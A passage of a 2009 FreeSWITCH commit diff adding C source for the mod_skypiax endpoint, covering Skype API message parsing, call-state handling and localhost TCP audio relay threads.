+	struct timeval answer_time;
+
+	struct timeval transfer_time;
+	char transfer_callid_number[50];
+	char skype_transfer_call_id[512];
+	int running;
+};
+
+typedef struct private_object private_t;
+
+void *SWITCH_THREAD_FUNC skypiax_api_thread_func(switch_thread_t * thread, void *obj);
+void skypiax_tech_init(private_t * tech_pvt, switch_core_session_t *session);
+int skypiax_audio_read(private_t * tech_pvt);
+int skypiax_audio_init(private_t * tech_pvt);
+int skypiax_signaling_write(private_t * tech_pvt, char *msg_to_skype);
+int skypiax_signaling_read(private_t * tech_pvt);
+
+int skypiax_call(private_t * tech_pvt, char *idest, int timeout);
+int skypiax_senddigit(private_t * tech_pvt, char digit);
+
+void *skypiax_do_tcp_srv_thread_func(void *obj);
+void *SWITCH_THREAD_FUNC skypiax_do_tcp_srv_thread(switch_thread_t * thread, void *obj);
+
+void *skypiax_do_tcp_cli_thread_func(void *obj);
+void *SWITCH_THREAD_FUNC skypiax_do_tcp_cli_thread(switch_thread_t * thread, void *obj);
+
+void *skypiax_do_skypeapi_thread_func(void *obj);
+void *SWITCH_THREAD_FUNC skypiax_do_skypeapi_thread(switch_thread_t * thread, void *obj);
+int dtmf_received(private_t * tech_pvt, char *value);
+int start_audio_threads(private_t * tech_pvt);
+int new_inbound_channel(private_t * tech_pvt);
+int outbound_channel_answered(private_t * tech_pvt);
+int skypiax_signaling_write(private_t * tech_pvt, char *msg_to_skype);
+#if defined(WIN32) && !defined(__CYGWIN__)
+int skypiax_pipe_read(switch_file_t * pipe, short *buf, int howmany);
+int skypiax_pipe_write(switch_file_t * pipe, short *buf, int howmany);
+/* Visual C do not have strsep ? */
+char *strsep(char **stringp, const char *delim);
+#else
+int skypiax_pipe_read(int pipe, short *buf, int howmany);
+int skypiax_pipe_write(int pipe, short *buf, int howmany);
+#endif /* WIN32 */
+int skypiax_close_socket(unsigned int fd);
+private_t *find_available_skypiax_interface(private_t * tech_pvt);
+private_t *find_available_skypiax_interface_rr(void);
+int remote_party_is_ringing(private_t * tech_pvt);
+int remote_party_is_early_media(private_t * tech_pvt);
+int skypiax_answer(private_t * tech_pvt, char *id, char *value);
+int skypiax_transfer(private_t * tech_pvt, char *id, char *value);

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/skypiax_protocol.c

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/skypiax_protocol.c (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/skypiax_protocol.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/skypiax_protocol.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1468 @@
+#include "skypiax.h"
+
+#ifdef ASTERISK
+#define skypiax_sleep usleep
+#define skypiax_strncpy strncpy
+#define tech_pvt p
+extern int skypiax_debug;
+extern char *skypiax_console_active;
+#else /* FREESWITCH */
+#define skypiax_sleep switch_sleep
+#define skypiax_strncpy switch_copy_string
+extern switch_memory_pool_t *skypiax_module_pool;
+extern switch_endpoint_interface_t *skypiax_endpoint_interface;
+#endif /* ASTERISK */
+int samplerate_skypiax = SAMPLERATE_SKYPIAX;
+
+extern int running;
+
+/*************************************/
+/* suspicious globals FIXME */
+#ifdef WIN32
+DWORD win32_dwThreadId;
+#else
+XErrorHandler old_handler = 0;
+int xerror = 0;
+#endif /* WIN32 */
+/*************************************/
+int skypiax_signaling_read(private_t * tech_pvt)
+{
+	char read_from_pipe[4096];
+	char message[4096];
+	char message_2[4096];
+	char *buf, obj[512] = "", id[512] = "", prop[512] = "", value[512] = "", *where;
+	char **stringp = NULL;
+	int a;
+	unsigned int howmany;
+	unsigned int i;
+
+	memset(read_from_pipe, 0, 4096);
+	memset(message, 0, 4096);
+	memset(message_2, 0, 4096);
+
+	howmany = skypiax_pipe_read(tech_pvt->SkypiaxHandles.fdesc[0], (short *) read_from_pipe, sizeof(read_from_pipe));
+
+	a = 0;
+	for (i = 0; i < howmany; i++) {
+		message[a] = read_from_pipe[i];
+		a++;
+
+		if (read_from_pipe[i] == '\0') {
+
+			if (!strstr(message, "DURATION")) {
+				DEBUGA_SKYPE("READING: |||%s||| \n", SKYPIAX_P_LOG, message);
+			}
+
+			if (!strcasecmp(message, "ERROR 68")) {
+				DEBUGA_SKYPE
+					("If I don't connect immediately, please give the Skype client authorization to be connected by Skypiax (and to not ask you again)\n",
+					 SKYPIAX_P_LOG);
+				skypiax_sleep(1000000);
+				skypiax_signaling_write(tech_pvt, "PROTOCOL 7");
+				skypiax_sleep(10000);
+				return 0;
+			}
+			if (!strncasecmp(message, "ERROR 92 CALL", 12)) {
+				ERRORA("Skype got ERROR: |||%s|||, the (skypeout) number we called was not recognized as valid\n", SKYPIAX_P_LOG, message);
+				tech_pvt->skype_callflow = CALLFLOW_STATUS_FINISHED;
+				DEBUGA_SKYPE("skype_call now is DOWN\n", SKYPIAX_P_LOG);
+				tech_pvt->skype_call_id[0] = '\0';
+
+				if (tech_pvt->interface_state != SKYPIAX_STATE_HANGUP_REQUESTED) {
+					tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+					return CALLFLOW_INCOMING_HANGUP;
+				} else {
+					tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+				}
+			}
+			skypiax_strncpy(message_2, message, sizeof(message) - 1);
+			buf = message;
+			stringp = &buf;
+			where = strsep(stringp, " ");
+			if (!where) {
+				WARNINGA("Skype MSG without spaces: %s\n", SKYPIAX_P_LOG, message);
+			}
+			if (!strcasecmp(message, "ERROR")) {
+				if (!strncasecmp(message, "ERROR 592 ALTER CALL", 19)) {
+					ERRORA("Skype got ERROR about TRANSFERRING, no problem: |||%s|||\n", SKYPIAX_P_LOG, message);
+				} else {
+					DEBUGA_SKYPE("Skype got ERROR: |||%s|||\n", SKYPIAX_P_LOG, message);
+					tech_pvt->skype_callflow = CALLFLOW_STATUS_FINISHED;
+					DEBUGA_SKYPE("skype_call now is DOWN\n", SKYPIAX_P_LOG);
+					tech_pvt->skype_call_id[0] = '\0';
+
+					if (tech_pvt->interface_state != SKYPIAX_STATE_HANGUP_REQUESTED) {
+						tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+						return CALLFLOW_INCOMING_HANGUP;
+					} else {
+						tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+					}
+				}
+			}
+			if (!strcasecmp(message, "CURRENTUSERHANDLE")) {
+				skypiax_strncpy(obj, where, sizeof(obj) - 1);
+				where = strsep(stringp, " ");
+				skypiax_strncpy(id, where, sizeof(id) - 1);
+				if (!strcasecmp(id, tech_pvt->skype_user)) {
+					tech_pvt->SkypiaxHandles.currentuserhandle = 1;
+					DEBUGA_SKYPE
+						("Skype MSG: message: %s, currentuserhandle: %s, cuh: %s, skype_user: %s!\n",
+						 SKYPIAX_P_LOG, message, obj, id, tech_pvt->skype_user);
+				}
+			}
+			if (!strcasecmp(message, "USER")) {
+				skypiax_strncpy(obj, where, sizeof(obj) - 1);
+				where = strsep(stringp, " ");
+				skypiax_strncpy(id, where, sizeof(id) - 1);
+				where = strsep(stringp, " ");
+				skypiax_strncpy(prop, where, sizeof(prop) - 1);
+				if (!strcasecmp(prop, "RECEIVEDAUTHREQUEST")) {
+					char msg_to_skype[256];
+					DEBUGA_SKYPE("Skype MSG: message: %s, obj: %s, id: %s, prop: %s!\n", SKYPIAX_P_LOG, message, obj, id, prop);
+					//TODO: allow authorization based on config param
+					sprintf(msg_to_skype, "SET USER %s ISAUTHORIZED TRUE", id);
+					skypiax_signaling_write(tech_pvt, msg_to_skype);
+				}
+			}
+			if (!strcasecmp(message, "MESSAGE")) {
+				skypiax_strncpy(obj, where, sizeof(obj) - 1);
+				where = strsep(stringp, " ");
+				skypiax_strncpy(id, where, sizeof(id) - 1);
+				where = strsep(stringp, " ");
+				skypiax_strncpy(prop, where, sizeof(prop) - 1);
+				if (!strcasecmp(prop, "STATUS")) {
+					where = strsep(stringp, " ");
+					skypiax_strncpy(value, where, sizeof(value) - 1);
+					if (!strcasecmp(value, "RECEIVED")) {
+						char msg_to_skype[256];
+						DEBUGA_SKYPE("Skype MSG: message: %s, obj: %s, id: %s, prop: %s value: %s!\n", SKYPIAX_P_LOG, message, obj, id, prop, value);
+						//TODO: authomatically flag messages as read based on config param
+						sprintf(msg_to_skype, "SET MESSAGE %s SEEN", id);
+						skypiax_signaling_write(tech_pvt, msg_to_skype);
+					}
+				} else if (!strcasecmp(prop, "BODY")) {
+					char msg_to_skype[256];
+					DEBUGA_SKYPE("Skype MSG: message: %s, obj: %s, id: %s, prop: %s!\n", SKYPIAX_P_LOG, message, obj, id, prop);
+					//TODO: authomatically flag messages as read based on config param
+					sprintf(msg_to_skype, "SET MESSAGE %s SEEN", id);
+					skypiax_signaling_write(tech_pvt, msg_to_skype);
+				}
+			}
+			if (!strcasecmp(message, "CALL")) {
+				skypiax_strncpy(obj, where, sizeof(obj) - 1);
+				where = strsep(stringp, " ");
+				skypiax_strncpy(id, where, sizeof(id) - 1);
+				where = strsep(stringp, " ");
+				skypiax_strncpy(prop, where, sizeof(prop) - 1);
+				where = strsep(stringp, " ");
+				skypiax_strncpy(value, where, sizeof(value) - 1);
+				where = strsep(stringp, " ");
+
+				//DEBUGA_SKYPE
+				//("Skype MSG: message: %s, obj: %s, id: %s, prop: %s, value: %s,where: %s!\n",
+				//SKYPIAX_P_LOG, message, obj, id, prop, value, where ? where : "NULL");
+
+				if (!strcasecmp(prop, "PARTNER_HANDLE")) {
+					if (!strlen(tech_pvt->skype_call_id)) {
+						/* we are NOT inside an active call */
+						DEBUGA_SKYPE("Call %s TRY ANSWER\n", SKYPIAX_P_LOG, id);
+						skypiax_answer(tech_pvt, id, value);
+					} else {
+						/* we are inside an active call */
+						if (!strcasecmp(tech_pvt->skype_call_id, id)) {
+							/* this is the call in which we are calling out */
+							DEBUGA_SKYPE("Call %s NOTHING\n", SKYPIAX_P_LOG, id);
+						} else {
+							skypiax_sleep(400000);	//0.4 seconds
+							DEBUGA_SKYPE("Call %s TRY TRANSFER\n", SKYPIAX_P_LOG, id);
+							skypiax_transfer(tech_pvt, id, value);
+						}
+					}
+				}
+				if (!strcasecmp(prop, "PARTNER_DISPNAME")) {
+					snprintf(tech_pvt->callid_name, sizeof(tech_pvt->callid_name) - 1, "%s%s%s", value, where ? " " : "", where ? where : "");
+					//DEBUGA_SKYPE
+					//("the skype_call %s caller PARTNER_DISPNAME (tech_pvt->callid_name) is: %s\n",
+					//SKYPIAX_P_LOG, id, tech_pvt->callid_name);
+				}
+				if (!strcasecmp(prop, "CONF_ID") && !strcasecmp(value, "0")) {
+					//DEBUGA_SKYPE("the skype_call %s is NOT a conference call\n", SKYPIAX_P_LOG, id);
+					if (tech_pvt->interface_state == SKYPIAX_STATE_DOWN)
+						tech_pvt->interface_state = SKYPIAX_STATE_PRERING;
+				}
+				if (!strcasecmp(prop, "CONF_ID") && strcasecmp(value, "0")) {
+					DEBUGA_SKYPE("the skype_call %s is a conference call\n", SKYPIAX_P_LOG, id);
+					if (tech_pvt->interface_state == SKYPIAX_STATE_DOWN)
+						tech_pvt->interface_state = SKYPIAX_STATE_PRERING;
+				}
+				if (!strcasecmp(prop, "DTMF")) {
+					DEBUGA_SKYPE("Call %s received a DTMF: %s\n", SKYPIAX_P_LOG, id, value);
+					dtmf_received(tech_pvt, value);
+				}
+				if (!strcasecmp(prop, "FAILUREREASON")) {
+					DEBUGA_SKYPE("Skype FAILED on skype_call %s. Let's wait for the FAILED message.\n", SKYPIAX_P_LOG, id);
+				}
+				if (!strcasecmp(prop, "DURATION") && (!strcasecmp(value, "1"))) {
+					if (strcasecmp(id, tech_pvt->skype_call_id)) {
+						skypiax_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
+						DEBUGA_SKYPE("We called a Skype contact and he answered us on skype_call: %s.\n", SKYPIAX_P_LOG, id);
+					}
+				}
+				if (!strcasecmp(prop, "STATUS")) {
+
+					if (!strcasecmp(value, "RINGING")) {
+						char msg_to_skype[1024];
+						if (!strlen(tech_pvt->skype_call_id)) {
+							/* we are NOT inside an active call */
+							sprintf(msg_to_skype, "GET CALL %s PARTNER_HANDLE", id);
+							skypiax_signaling_write(tech_pvt, msg_to_skype);
+							skypiax_sleep(10000);
+						} else {
+							/* we are inside an active call */
+							if (!strcasecmp(tech_pvt->skype_call_id, id)) {
+								/* this is the call in which we are calling out */
+								tech_pvt->skype_callflow = CALLFLOW_STATUS_RINGING;
+								tech_pvt->interface_state = SKYPIAX_STATE_RINGING;
+								skypiax_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
+								DEBUGA_SKYPE("Our remote party in skype_call %s is RINGING\n", SKYPIAX_P_LOG, id);
+								remote_party_is_ringing(tech_pvt);
+							} else {
+								sprintf(msg_to_skype, "GET CALL %s PARTNER_HANDLE", id);
+								skypiax_signaling_write(tech_pvt, msg_to_skype);
+								skypiax_sleep(10000);
+							}
+						}
+					} else if (!strcasecmp(value, "EARLYMEDIA")) {
+						char msg_to_skype[1024];
+						tech_pvt->skype_callflow = CALLFLOW_STATUS_EARLYMEDIA;
+						tech_pvt->interface_state = SKYPIAX_STATE_DIALING;
+						DEBUGA_SKYPE("Our remote party in skype_call %s is EARLYMEDIA\n", SKYPIAX_P_LOG, id);
+						start_audio_threads(tech_pvt);
+						skypiax_sleep(1000);
+						sprintf(msg_to_skype, "ALTER CALL %s SET_INPUT PORT=\"%d\"", id, tech_pvt->tcp_cli_port);
+						skypiax_signaling_write(tech_pvt, msg_to_skype);
+						sprintf(msg_to_skype, "#output ALTER CALL %s SET_OUTPUT PORT=\"%d\"", id, tech_pvt->tcp_srv_port);
+						skypiax_signaling_write(tech_pvt, msg_to_skype);
+
+						remote_party_is_early_media(tech_pvt);
+					} else if (!strcasecmp(value, "MISSED")) {
+						DEBUGA_SKYPE("We missed skype_call %s\n", SKYPIAX_P_LOG, id);
+					} else if (!strcasecmp(value, "FINISHED")) {
+						//DEBUGA_SKYPE("skype_call %s now is DOWN\n", SKYPIAX_P_LOG, id);
+						//usleep(150000);//150msec, let's give the TCP sockets time to timeout
+						if (!strcasecmp(tech_pvt->skype_call_id, id)) {
+							tech_pvt->skype_callflow = CALLFLOW_STATUS_FINISHED;
+							DEBUGA_SKYPE("skype_call %s is MY call, now I'm going DOWN\n", SKYPIAX_P_LOG, id);
+							tech_pvt->skype_call_id[0] = '\0';
+							if (tech_pvt->interface_state != SKYPIAX_STATE_HANGUP_REQUESTED) {
+								//tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+								return CALLFLOW_INCOMING_HANGUP;
+							} else {
+								tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+							}
+						} else {
+							DEBUGA_SKYPE("skype_call %s is NOT MY call, ignoring\n", SKYPIAX_P_LOG, id);
+						}
+
+					} else if (!strcasecmp(value, "CANCELLED")) {
+						tech_pvt->skype_callflow = CALLFLOW_STATUS_CANCELLED;
+						DEBUGA_SKYPE("we tried to call Skype on skype_call %s and Skype has now CANCELLED\n", SKYPIAX_P_LOG, id);
+						tech_pvt->skype_call_id[0] = '\0';
+						if (tech_pvt->interface_state != SKYPIAX_STATE_HANGUP_REQUESTED) {
+							tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+							return CALLFLOW_INCOMING_HANGUP;
+						} else {
+							tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+						}
+					} else if (!strcasecmp(value, "FAILED")) {
+						tech_pvt->skype_callflow = CALLFLOW_STATUS_FAILED;
+						DEBUGA_SKYPE("we tried to call Skype on skype_call %s and Skype has now FAILED\n", SKYPIAX_P_LOG, id);
+						tech_pvt->skype_call_id[0] = '\0';
+						skypiax_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
+						tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+						return CALLFLOW_INCOMING_HANGUP;
+					} else if (!strcasecmp(value, "REFUSED")) {
+						if (!strcasecmp(id, tech_pvt->skype_call_id)) {
+							/* this is the id of the call we are in, probably we generated it */
+							tech_pvt->skype_callflow = CALLFLOW_STATUS_REFUSED;
+							DEBUGA_SKYPE("we tried to call Skype on skype_call %s and Skype has now REFUSED\n", SKYPIAX_P_LOG, id);
+							skypiax_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
+							tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+							tech_pvt->skype_call_id[0] = '\0';
+							return CALLFLOW_INCOMING_HANGUP;
+						} else {
+							/* we're here because were us that refused an incoming call */
+							DEBUGA_SKYPE("we REFUSED skype_call %s\n", SKYPIAX_P_LOG, id);
+						}
+					} else if (!strcasecmp(value, "TRANSFERRING")) {
+						DEBUGA_SKYPE("skype_call %s is transferring\n", SKYPIAX_P_LOG, id);
+					} else if (!strcasecmp(value, "TRANSFERRED")) {
+						DEBUGA_SKYPE("skype_call %s has been transferred\n", SKYPIAX_P_LOG, id);
+					} else if (!strcasecmp(value, "ROUTING")) {
+						tech_pvt->skype_callflow = CALLFLOW_STATUS_ROUTING;
+						tech_pvt->interface_state = SKYPIAX_STATE_DIALING;
+						skypiax_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
+						DEBUGA_SKYPE("skype_call: %s is now ROUTING\n", SKYPIAX_P_LOG, id);
+					} else if (!strcasecmp(value, "UNPLACED")) {
+						tech_pvt->skype_callflow = CALLFLOW_STATUS_UNPLACED;
+						tech_pvt->interface_state = SKYPIAX_STATE_DIALING;
+						skypiax_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
+						DEBUGA_SKYPE("skype_call: %s is now UNPLACED\n", SKYPIAX_P_LOG, id);
+					} else if (!strcasecmp(value, "INPROGRESS")) {
+						char msg_to_skype[1024];
+
+						if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
+							if (!strlen(tech_pvt->session_uuid_str) || !strlen(tech_pvt->skype_call_id)
+								|| !strcasecmp(tech_pvt->skype_call_id, id)) {
+								skypiax_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
+								DEBUGA_SKYPE("skype_call: %s is now active\n", SKYPIAX_P_LOG, id);
+
+								if (tech_pvt->skype_callflow != CALLFLOW_STATUS_EARLYMEDIA) {
+									tech_pvt->skype_callflow = CALLFLOW_STATUS_INPROGRESS;
+									tech_pvt->interface_state = SKYPIAX_STATE_UP;
+									start_audio_threads(tech_pvt);
+									skypiax_sleep(1000);	//FIXME
+									sprintf(msg_to_skype, "ALTER CALL %s SET_INPUT PORT=\"%d\"", id, tech_pvt->tcp_cli_port);
+									skypiax_signaling_write(tech_pvt, msg_to_skype);
+									skypiax_sleep(1000);	//FIXME
+									sprintf(msg_to_skype, "#output ALTER CALL %s SET_OUTPUT PORT=\"%d\"", id, tech_pvt->tcp_srv_port);
+									skypiax_signaling_write(tech_pvt, msg_to_skype);
+								}
+								tech_pvt->skype_callflow = SKYPIAX_STATE_UP;
+								if (!strlen(tech_pvt->session_uuid_str)) {
+									DEBUGA_SKYPE("New Inbound Channel!\n", SKYPIAX_P_LOG);
+									new_inbound_channel(tech_pvt);
+								} else {
+									DEBUGA_SKYPE("Outbound Channel Answered!\n", SKYPIAX_P_LOG);
+									outbound_channel_answered(tech_pvt);
+								}
+							} else {
+								DEBUGA_SKYPE("I'm on %s, skype_call %s is NOT MY call, ignoring\n", SKYPIAX_P_LOG, tech_pvt->skype_call_id, id);
+							}
+						} else {
+							tech_pvt->skype_callflow = CALLFLOW_STATUS_INPROGRESS;
+							DEBUGA_SKYPE("Back from REMOTEHOLD!\n", SKYPIAX_P_LOG);
+						}
+
+					} else if (!strcasecmp(value, "REMOTEHOLD")) {
+						tech_pvt->skype_callflow = CALLFLOW_STATUS_REMOTEHOLD;
+						DEBUGA_SKYPE("skype_call: %s is now REMOTEHOLD\n", SKYPIAX_P_LOG, id);
+
+					} else if (!strcasecmp(value, "BUSY")) {
+						tech_pvt->skype_callflow = CALLFLOW_STATUS_FAILED;
+						DEBUGA_SKYPE
+							("we tried to call Skype on skype_call %s and remote party (destination) was BUSY. Our outbound call has failed\n",
+							 SKYPIAX_P_LOG, id);
+						skypiax_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
+						tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+						tech_pvt->skype_call_id[0] = '\0';
+						skypiax_sleep(1000);
+						return CALLFLOW_INCOMING_HANGUP;
+					} else if (!strcasecmp(value, "WAITING_REDIAL_COMMAND")) {
+						tech_pvt->skype_callflow = CALLFLOW_STATUS_FAILED;
+						DEBUGA_SKYPE
+							("we tried to call Skype on skype_call %s and remote party (destination) has rejected us (WAITING_REDIAL_COMMAND). Our outbound call has failed\n",
+							 SKYPIAX_P_LOG, id);
+						skypiax_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
+						tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+						tech_pvt->skype_call_id[0] = '\0';
+						skypiax_sleep(1000);
+						return CALLFLOW_INCOMING_HANGUP;
+					} else {
+						WARNINGA("skype_call: %s, STATUS: %s is not recognized\n", SKYPIAX_P_LOG, id, value);
+					}
+				}				//STATUS
+			}					//CALL
+			/* the "numbered" messages that follows are used by the directory application, not yet ported */
+			if (!strcasecmp(message, "#333")) {
+				/* DEBUGA_SKYPE("Skype MSG: message_2: %s, message2[11]: %s\n", SKYPIAX_P_LOG,
+				 * message_2, &message_2[11]); */
+				memset(tech_pvt->skype_friends, 0, 4096);
+				skypiax_strncpy(tech_pvt->skype_friends, &message_2[11], 4095);
+			}
+			if (!strcasecmp(message, "#222")) {
+				/* DEBUGA_SKYPE("Skype MSG: message_2: %s, message2[10]: %s\n", SKYPIAX_P_LOG,
+				 * message_2, &message_2[10]); */
+				memset(tech_pvt->skype_fullname, 0, 512);
+				skypiax_strncpy(tech_pvt->skype_fullname, &message_2[10], 511);
+			}
+			if (!strcasecmp(message, "#765")) {
+				/* DEBUGA_SKYPE("Skype MSG: message_2: %s, message2[10]: %s\n", SKYPIAX_P_LOG,
+				 * message_2, &message_2[10]); */
+				memset(tech_pvt->skype_displayname, 0, 512);
+				skypiax_strncpy(tech_pvt->skype_displayname, &message_2[10], 511);
+			}
+			a = 0;
+		}						//message end
+	}							//read_from_pipe
+	return 0;
+}
+
+void *skypiax_do_tcp_srv_thread_func(void *obj)
+{
+	private_t *tech_pvt = obj;
+	int s;
+	unsigned int len;
+	unsigned int i;
+	unsigned int a;
+#if defined(WIN32) && !defined(__CYGWIN__)
+	int sin_size;
+#else /* WIN32 */
+	unsigned int sin_size;
+#endif /* WIN32 */
+	unsigned int fd;
+	short srv_in[SAMPLES_PER_FRAME];
+	short srv_out[SAMPLES_PER_FRAME / 2];
+	struct sockaddr_in my_addr;
+	struct sockaddr_in remote_addr;
+	//int exit = 0;
+	unsigned int kill_cli_size;
+	short kill_cli_buff[SAMPLES_PER_FRAME];
+	short totalbuf[SAMPLES_PER_FRAME];
+
+	memset(&my_addr, 0, sizeof(my_addr));
+	my_addr.sin_family = AF_INET;
+	my_addr.sin_addr.s_addr = htonl(0x7f000001);	/* use the localhost */
+	my_addr.sin_port = htons(tech_pvt->tcp_srv_port);
+
+	if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
+		ERRORA("socket Error\n", SKYPIAX_P_LOG);
+		return NULL;
+	}
+
+	if (bind(s, (struct sockaddr *) &my_addr, sizeof(struct sockaddr)) < 0) {
+		ERRORA("bind Error\n", SKYPIAX_P_LOG);
+		return NULL;
+	}
+	DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
+
+	listen(s, 6);
+
+	sin_size = sizeof(remote_addr);
+
+  /****************************/
+	while (tech_pvt->interface_state != SKYPIAX_STATE_DOWN
+		   && (tech_pvt->skype_callflow == CALLFLOW_STATUS_INPROGRESS
+			   || tech_pvt->skype_callflow == CALLFLOW_STATUS_EARLYMEDIA
+			   || tech_pvt->skype_callflow == CALLFLOW_STATUS_REMOTEHOLD || tech_pvt->skype_callflow == SKYPIAX_STATE_UP)) {
+
+		unsigned int fdselectgio;
+		int rtgio;
+		fd_set fsgio;
+		struct timeval togio;
+
+		if (!(running && tech_pvt->running))
+			break;
+		FD_ZERO(&fsgio);
+		togio.tv_usec = 20000;	//20msec
+		togio.tv_sec = 0;
+		fdselectgio = s;
+		FD_SET(fdselectgio, &fsgio);
+
+		rtgio = select(fdselectgio + 1, &fsgio, NULL, NULL, &togio);
+
+		if (rtgio) {
+
+  /****************************/
+
+			while ((fd = accept(s, (struct sockaddr *) &remote_addr, &sin_size)) > 0) {
+				DEBUGA_SKYPE("ACCEPTED here I send you %d\n", SKYPIAX_P_LOG, tech_pvt->tcp_srv_port);
+				if (!(running && tech_pvt->running))
+					break;
+				while (tech_pvt->interface_state != SKYPIAX_STATE_DOWN
+					   && (tech_pvt->skype_callflow == CALLFLOW_STATUS_INPROGRESS
+						   || tech_pvt->skype_callflow == CALLFLOW_STATUS_EARLYMEDIA
+						   || tech_pvt->skype_callflow == CALLFLOW_STATUS_REMOTEHOLD || tech_pvt->skype_callflow == SKYPIAX_STATE_UP)) {
+
+					unsigned int fdselect;
+					int rt;
+					fd_set fs;
+					struct timeval to;
+
+					if (!(running && tech_pvt->running))
+						break;
+					//exit = 1;
+
+					fdselect = fd;
+					FD_ZERO(&fs);
+					FD_SET(fdselect, &fs);
+					//to.tv_usec = 2000000;     //2000 msec
+					to.tv_usec = 60000;	//60 msec
+					to.tv_sec = 0;
+
+					rt = select(fdselect + 1, &fs, NULL, NULL, &to);
+					if (rt > 0) {
+
+						if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
+							len = recv(fd, (char *) srv_in, 320, 0);	//seems that Skype only sends 320 bytes at time
+						} else {
+							len = 0;
+						}
+
+						if (len == 320) {
+							unsigned int howmany;
+
+							if (samplerate_skypiax == 8000) {
+								/* we're downsampling from 16khz to 8khz, srv_out will contain each other sample from srv_in */
+								a = 0;
+								for (i = 0; i < len / sizeof(short); i++) {
+									srv_out[a] = srv_in[i];
+									i++;
+									a++;
+								}
+							} else if (samplerate_skypiax == 16000) {
+								/* we're NOT downsampling, srv_out will contain ALL samples from srv_in */
+								for (i = 0; i < len / sizeof(short); i++) {
+									srv_out[i] = srv_in[i];
+								}
+							} else {
+								ERRORA("SAMPLERATE_SKYPIAX can only be 8000 or 16000\n", SKYPIAX_P_LOG);
+							}
+							/* if not yet done, let's store the half incoming frame */
+							if (!tech_pvt->audiobuf_is_loaded) {
+								for (i = 0; i < SAMPLES_PER_FRAME / 2; i++) {
+									tech_pvt->audiobuf[i] = srv_out[i];
+								}
+								tech_pvt->audiobuf_is_loaded = 1;
+							} else {
+								/* we got a stored half frame, build a complete frame in totalbuf using the stored half frame and the current half frame */
+								for (i = 0; i < SAMPLES_PER_FRAME / 2; i++) {
+									totalbuf[i] = tech_pvt->audiobuf[i];
+								}
+								for (a = 0; a < SAMPLES_PER_FRAME / 2; a++) {
+									totalbuf[i] = srv_out[a];
+									i++;
+								}
+								/* send the complete frame through the pipe to our code waiting for incoming audio */
+								howmany = skypiax_pipe_write(tech_pvt->audiopipe[1], totalbuf, SAMPLES_PER_FRAME * sizeof(short));
+								if (howmany != SAMPLES_PER_FRAME * sizeof(short)) {
+									ERRORA("howmany is %d, but was expected to be %d\n", SKYPIAX_P_LOG,
+										   howmany, (int) (SAMPLES_PER_FRAME * sizeof(short)));
+								}
+								/* done with the stored half frame */
+								tech_pvt->audiobuf_is_loaded = 0;
+							}
+
+						} else if (len == 0) {
+							skypiax_sleep(1000);
+						} else {
+							ERRORA("len=%d, expected 320\n", SKYPIAX_P_LOG, len);
+						}
+
+					} else {
+						if (rt)
+							ERRORA("SRV rt=%d\n", SKYPIAX_P_LOG, rt);
+						skypiax_sleep(10000);
+					}
+
+				}
+
+				/* let's send some frame in the pipes, so both tcp_cli and tcp_srv will have an occasion to die */
+				kill_cli_size = SAMPLES_PER_FRAME * sizeof(short);
+				len = skypiax_pipe_write(tech_pvt->audiopipe[1], kill_cli_buff, kill_cli_size);
+				kill_cli_size = SAMPLES_PER_FRAME * sizeof(short);
+				len = skypiax_pipe_write(tech_pvt->audioskypepipe[1], kill_cli_buff, kill_cli_size);
+				tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+				kill_cli_size = SAMPLES_PER_FRAME * sizeof(short);
+				len = skypiax_pipe_write(tech_pvt->audiopipe[1], kill_cli_buff, kill_cli_size);
+				kill_cli_size = SAMPLES_PER_FRAME * sizeof(short);
+				len = skypiax_pipe_write(tech_pvt->audioskypepipe[1], kill_cli_buff, kill_cli_size);
+
+				DEBUGA_SKYPE("Skype incoming audio GONE\n", SKYPIAX_P_LOG);
+				skypiax_close_socket(fd);
+				//if (exit)
+				break;
+			}
+		}
+	}
+
+	DEBUGA_SKYPE("incoming audio server (I am it) EXITING\n", SKYPIAX_P_LOG);
+	skypiax_close_socket(s);
+	return NULL;
+}
+
+void *skypiax_do_tcp_cli_thread_func(void *obj)
+{
+	private_t *tech_pvt = obj;
+	int s;
+	struct sockaddr_in my_addr;
+	struct sockaddr_in remote_addr;
+	unsigned int got;
+	unsigned int len;
+	unsigned int i;
+	unsigned int a;
+	unsigned int fd;
+	short cli_out[SAMPLES_PER_FRAME * 2];
+	short cli_in[SAMPLES_PER_FRAME];
+#ifdef WIN32
+	int sin_size;
+#else
+	unsigned int sin_size;
+#endif /* WIN32 */
+
